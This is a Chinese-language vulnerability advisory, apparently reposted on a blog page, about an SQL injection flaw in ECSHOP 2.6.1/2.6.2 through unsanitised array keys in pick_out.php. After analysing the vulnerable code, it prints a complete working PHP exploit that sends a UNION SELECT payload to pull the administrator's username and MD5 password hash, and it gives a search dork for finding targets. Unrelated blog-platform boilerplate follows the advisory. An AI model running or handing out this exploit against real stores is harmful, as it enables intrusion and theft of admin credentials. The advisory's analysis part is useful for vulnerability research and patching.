ECSHOP商城系统过滤不严导致SQL注入漏洞

添加时间:
2009-05-25

系统编号:
WAVDB-01431

影响版本:
ECSHOP 2.6.1/2.6.2

程序介绍: 
ECSHOP是一款开源免费的网上商店系统。由专业的开发团队升级维护,为您提供及时高效的技术支持,您还可以根据自己的商务特征对ECSHOP进行定制,增加自己商城的特色功能。

漏洞分析:

文件includes/init.php判断get_magic_quotes_gpc(),如果为off则调用addslashes_deep():


// includes/init.php   
if (!get_magic_quotes_gpc())   
{   
    if (!emptyempty($_GET))   
    {   
        $_GET  = addslashes_deep($_GET);   
    }   
    if (!emptyempty($_POST))   
    {   
        $_POST = addslashes_deep($_POST);   
    }   
   
    $_COOKIE   = addslashes_deep($_COOKIE);   
    $_REQUEST  = addslashes_deep($_REQUEST);   
}   
addslashes_deep()在文件includes/lib_base.php里最后通过addslashes()处理
 
// includes/lib_base.php   
function addslashes_deep($value)   
{   
    if (emptyempty($value))   
    {   
        return $value;   
    }   
    else   
    {   
        return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);   
    // 只处理了数组的值:)   
    }   
}   
下面看下具体的导致漏洞的代码,文件 pick_out.php里:
 
 
// pick_out.php   
if (!emptyempty($_GET['attr']))   
{   
    foreach($_GET['attr'] as $key => $value)   
    {   
        $key = intval($key);   
        $_GET['attr'][$key] = htmlspecialchars($value);   
        // foreach处理的是指定数组的拷贝,所以这里的处理并不影响数组原先的key和value   
        // 因此可以引入任意的key:)   
        // 程序员的逻辑出了问题?   
    }   
}   
...   
        foreach ($_GET['attr'] AS $key => $value)   
        {   
            $attr_url .= '&attr[' . $key . ']=' . $value;   
   
            $attr_picks[] = $key;   
            if ($i > 0)   
            {   
                if (emptyempty($goods_result))   
                {   
                    break;   
                }   
                // 利用key进行注射:)   
                $goods_result = $db->getCol("Select goods_id FROM " . $ecs->table("goods_attr") . " Where goods_id IN (" . implode(',' , $goods_result) . ") AND attr_id='$key' AND attr_value='$value'");   
由于magic_quotes_gpc=off时没有对$key处理,同时在数组赋值时存在逻辑问题,最终导致了注射漏洞.

漏洞利用: 
 


#!/usr/bin/php   
<?php   
//本程序只作技术交流,请不要用做非法用途!!   
print_r('   
+---------------------------------------------------------------------------+  

ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit   
by puret_t   
mail: puretot at gmail dot com   
team: http://bbs.wolvez.org   
dork: "Powered by ECShop"   
+---------------------------------------------------------------------------+   
');   
/**  
 * works with magic_quotes_gpc = Off  
 */   
if ($argc < 3) {   
    print_r('   
+---------------------------------------------------------------------------+   
Usage: php '.$argv[0].' host path   
host:      target server (ip/hostname)   
path:      path to ecshop   
Example:   
php '.$argv[0].' localhost /ecshop/   
+---------------------------------------------------------------------------+   
');   
    exit;   
}   
   
error_reporting(7);   
ini_set('max_execution_time', 0);   
   
$host = $argv[1];   
$path = $argv[2];   
   
$resp = send();   
preg_match('#IN\s\(([\S]+):([a-z0-9]{32})\)#', $resp, $hash);   
   
if ($hash)   
    exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n");   
else   
    exit("Exploit Failed!\n");   
   
function send()   
{   
    global $host, $path;   
   
    $cmd = 'cat_id=999999&attr[%27%20UNION%20Select%20CONCAT(user_name%2c0x3a%2cpassword)%20as%20goods_id%20FROM%20ecs_admin_user%20Where%20action_list%3d%27all%27%20LIMIT%201%23]=ryat';   
   
    $data = "GET ".$path."pick_out.php?".$cmd."  HTTP/1.1\r\n";   
    $data .= "Host: $host\r\n";   
    $data .= "Connection: Close\r\n\r\n";   
   
    $fp = fsockopen($host, 80);   
    fputs($fp, $data);   
   
    $resp = '';   
   
    while ($fp && !feof($fp))   
        $resp .= fread($fp, 1024);   
   
    return $resp;   
}   
   
?>   
 

解决方案:
厂商补丁
ECSHOP
----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.ecshop.com


信息来源:
<*来源: ryat#www.wolvez.org
链接: http://www.80vul.com
*>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
提供的源码资源涵盖了Java应用等多个领域,每个领域都包含了丰富的实例和项目。这些源码都是基于各自平台的最新技术和标准编写,确保了在对应环境下能够无缝运行。同时,源码中配备了详细的注释和文档,帮助用户快速理解代码结构和实现逻辑。 适用人群: 适合毕业设计、课程设计作业。这些源码资源特别适合大学生群体。无论你是计算机相关专业的学生,还是对其他领域编程感兴趣的学生,这些资源都能为你提供宝贵的学习和实践机会。通过学习和运行这些源码,你可以掌握各平台开发的基础知识,提升编程能力和项目实战经验。 使用场景及目标: 在学习阶段,你可以利用这些源码资源进行课程实践、课外项目或毕业设计。通过分析和运行源码,你将深入了解各平台开发的技术细节和最佳实践,逐步培养起自己的项目开发和问题解决能力。此外,在求职或创业过程中,具备跨平台开发能力的大学生将更具竞争力。 其他说明: 为了确保源码资源的可运行性和易用性,特别注意了以下几点:首先,每份源码都提供了详细的运行环境和依赖说明,确保用户能够轻松搭建起开发环境;其次,源码中的注释和文档都非常完善,方便用户快速上手和理解代码;最后,我会定期更新这些源码资源,以适应各平台技术的最新发展和市场需求。 所有源码均经过严格测试,可以直接运行,可以放心下载使用。有任何使用问题欢迎随时与博主沟通,第一时间进行解答!

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值